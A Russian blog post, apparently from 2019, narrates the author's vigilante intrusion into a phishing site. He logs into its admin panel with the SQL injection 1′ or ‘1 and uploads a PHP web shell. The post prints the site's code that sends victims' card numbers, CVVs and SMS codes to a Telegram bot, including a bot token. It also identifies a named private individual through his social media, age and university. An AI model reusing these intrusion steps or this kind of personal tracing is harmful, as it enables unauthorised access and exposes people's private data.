Как я хакера ловил


Аннотация
Каждый из нас может стать жертвой злоумышленника, но иногда хищник и добыча меняются местами.

Это краткая история о том, как неумелое использовании технологий может привести к раскрытию личности. Статья будет полезна как юным хакерам, желающим получить «легкие деньги», так и тем, кто хочет их поймать.

Введение
Одним февральским вечерком я был занят поиском места для романтичного свидания со своей возлюбленной. Через какое-то время мое внимание привлек сайт milleniumfilm.ru, не доступный в настоящее время. Сайт предоставлял услуги аренды небольших кинозалов для частного просмотра. Красивые картинки, умеренные цены, есть онлайн поддержка, одно но: данные банковской карты предлагалось ввести на не защищенной странице этого же домена. Насторожившись, я написал в техподдержку сайта, и мошенники не заставили себя долго ждать — поняв, что я достаточно технически грамотен послали меня на 3 буквы. Конечно, мошенникам нет смысла тратить на меня время, но зачем так грубо? — В любой ситуации нужно оставаться Человеком.

С отзывами о сайтах такого же плана можно ознакомиться тут: zhaloba-online.ru. Некоторые из них даже до сих пор работают.

Взлом
Чувствуя вселенскую несправедливость, с целью установления личности злоумышленника и пресечения его деятельности, я принялся изучать сайт на предмет уязвимостей. Ткнув пальцем в небо Первый введеный адрес привел меня в панель администратора, который вежливо просил указать «Логин» и «Пароль».

Скриншот
Первая же попытка SQL-инъекции Первый пришедший в голову пароль

1′ or ‘1
дал мне доступ к настройкам сайта.

Скриншот. Данный скриншот был сделан после атаки, потому имя пользователя такое говорящее.
Сайт создателя данного творения Gelloiss.ru красовался на первой же странице. Особенно интересным оказался раздел «Банковские карты» — там отображались все введенные данные: фамилия и имя держателя карты, номер карты, срок действия, cvc2 и код подтверждения из смс.

Большой скриншот. Часть данных закрашена.
Как это работает.Получив реквизиты банковской карты, злоумышленник делает запрос на перевод средств с карты и перенаправляется платежной системой на страницу 3D-secure, где нужно ввести код из смс. Код приходит в смс на телефон жертвы, который вводит его в форме сайта. Получив код из смс, мошенник вводит его на странице 3D-secure подтверждая транзакцию. Вся эта схема требует неотлагательный действий самого мошенника, что наводит на мысль, что сайт должен быстро уведомлять о наличии жертвы.
На странице «Настройка фильмов» была достаточно простая форма для формирования тексто-графических блоков. Функция загрузки картинки не фильтровала контент загружаемых файлов, что навело на мысль о возможности залить php-shell. Шелл успешно залился в /images/, откуда я его скопировал в корень сайта под названием login.php. Получив доступ к консоли, я принялся изучать внутренности сайта.

Список файлов.
Среди содержимого меня привлек файл telegram.php.

Код.$ cat telegram.php
<?
function send_mess($text) {
$token = «626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs»;
$mess = $text;
$chat = «-302359340»;
/*return «<iframe style=’width:500px; height:500px;’ src=’https://api.telegram.org/bot».$token.»/sendMessage?chat_id=».$chat.»&parse_mode=html&text=».$mess.»‘></iframe>»;*/
file_get_contents(«https://api.telegram.org/bot».$token.»/sendMessage?chat_id=».$chat.»&parse_mode=html&text=».$mess);
}
PHP скрипт содержал в себе токен телеграм-бота и отправлял сообщения в чат при вызове функции send_mess. Поискав по коду сайта стало ясно, что именно с помощью телеграм-бота злоумышленнику отправляются данные карт, смс код.

grep./cart.php:22:send_mess(«Имя клиента: «.$name.»%0D%0AEmail: «.$email.»%0D%0AТелефон: «.$phone.»%0D%0AДата посещения: «.$date.»%0D%0A».»Время: «.$time.»%0D%0AГород: «.$city.»%0D%0AСумма: «.$sum.»%0D%0AСписок заказанных услуг: «.$services.»%0D%0AIP: «.$ip.»%0D%0AЗабанить: «.$link_ban_ip);
./pay/ms.php:21: send_mess(«Сумма: «.$sum.»%0D%0AИмя владельца карты: «.$name.»%0D%0AНомер карты: «.$num.»%0D%0AСрок годности, месяц: «.$month.»%0D%0AГод: «.$year.»%0D%0Acvv: «.$cvv);
Что ж, у нас есть токен телеграм-бота, chat_id, адрес создателя сайта на котором красуется skype «ura7887» и telegram «Gelloiss» (раньше telegram не был указан, потому для того чтобы убедиться что telegram-аккаунт принадлежит владельцу сайта я использовал наживку).

Скриншот с сайта gelloiss.ru
Выясним, кто создал чат, в который бот отсылает сообщения.

curl$ curl «https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340»
{«ok»:true,»result»:[{«user»:{«id»:365019332,»is_bot»:false,»first_name»:»Iskru00e1″,»username»:»Gelloiss»,»language_code»:»ru»},»status»:»creator»}]}
Как видно создатель чата имеет такой же username как и сайт создателя — «gelloiss».

Поиск
Помните: интернет ничего не забывает! Поиск по ключевым словам: «gelloiss», «ura7887», привел меня на страницу вконтакте Юрия Искры, где указан как сайт «Gelloiss.ru», так и skype «ura7887».

Скриншот.
А вот тут: vk.com видно, что данным скайп логином Юрий пользовался еще 6 лет назад, когда ему было 14 лет.

Скриншот.
А так же тут anime.anidub.com.

Скриншот.
Так же можно найти сообщение на форуме хакеров blackhacker.ru, с предложением продажи фишингового сайта.

Скриншот.

Проверка telegram
На момент начала истории, на сайте Gelloiss.ru не был указан логин telegram, потому мне нужно было связать владельца telegram-аккаунта с владельцем сайта или страницей вконтакте. Для этого я создал некий маркер, который владелец telegram-аккаунта должен будет разместить у себя.

shell$ sha256sum <<< «i’m carder yuri iskra.»
a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 —
Далее я написал в telegram и представившить потенциальным заказчиком предложил пройти проверку: попросил разместить маркер a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 на странице вконтакте.

Скриншот диалога telegram
Заключение
Лично у меня не осталось сомнений, что страница вконтакте принадлежит злоумышленнику. На момент взлома сайта, в базе данных было не менее 100 различных номеров карт, а к моменту закрытия сайта еще +100.

В заключение давайте посмотрим, где учится наш «герой». Это легко определить посмотрев где учатся его «друзья по вузу» на странице вконтакте.

Большой скриншот
Продолжение следует
Мне удалось получить доступ к сообщениям, которые отсылает бот. Масштабы бедствия поражают: за 3 месяца телеграм-бот отослал примерно 13 тысяч сообщений. Даже если предположить, что всего-лишь пятая часть полученных данных валидна, то список пострадавших превысит 2 тысячи человек. Хакер работает не один, а с сообщниками, которые завлекают клиентов и помогают с переводом средств. На данный момент злоумышленники получают паспортные данные, телефоны и номера карт с сайта moneyonline.world.

Update 2019-04-21: Поскольку пользователь gelloiss убеждает в комментариях, что не был в курсе, для каких целей сайт будет использоваться, привожу фрагмент дампа сообщений telegram:
Скрытый текстMessage(id=31, grouped_id=None, from_id=898775249, edit_date=None, message=’Короче нужен сайт по «переводу карты на карту без комиссии» естесственно он должен высылать данные карты и код подтверждения мне‘, to_id=PeerUser(user_id=365019332), entities=[], fwd_from=None, views=None, media=None, post=False, media_unread=False, out=True, date=datetime.datetime(2019, 4, 19, 9, 36, 15, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),

Message(id=33, grouped_id=None, from_id=365019332, edit_date=None, message=’moneyonline.world/pay/?pay=123nТипа этого?)) nДанные в телегу приходят‘, to_id=PeerUser(user_id=898775249), entities=[MessageEntityUrl(offset=0, length=38)], fwd_from=None, views=None, media=MessageMediaWebPage(webpage=WebPage(id=8004451420650727228, hash=0, photo=None, description=’MoneyOnline.com ‒ это платежная система для тех, кто зарабатывает в интернете. Электронный кошелек, прием платежей и вывод денег, денежные переводы. Мгновенная регистрация, выгодные комиссии.’, embed_height=None, embed_width=None, document=None, embed_type=None, site_name=’MoneyOnline’, cached_page=None, url=’https://moneyonline.world/pay/?pay=123′, display_url=’moneyonline.world/ru’, duration=None, author=None, embed_url=None, title=’MoneyOnline | Электронный кошелек, платежи, прием и вывод денежных средств’, type=’article’)), post=False, media_unread=False, out=False, date=datetime.datetime(2019, 4, 19, 9, 37, 53, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),

Оставить комментарий

Интересное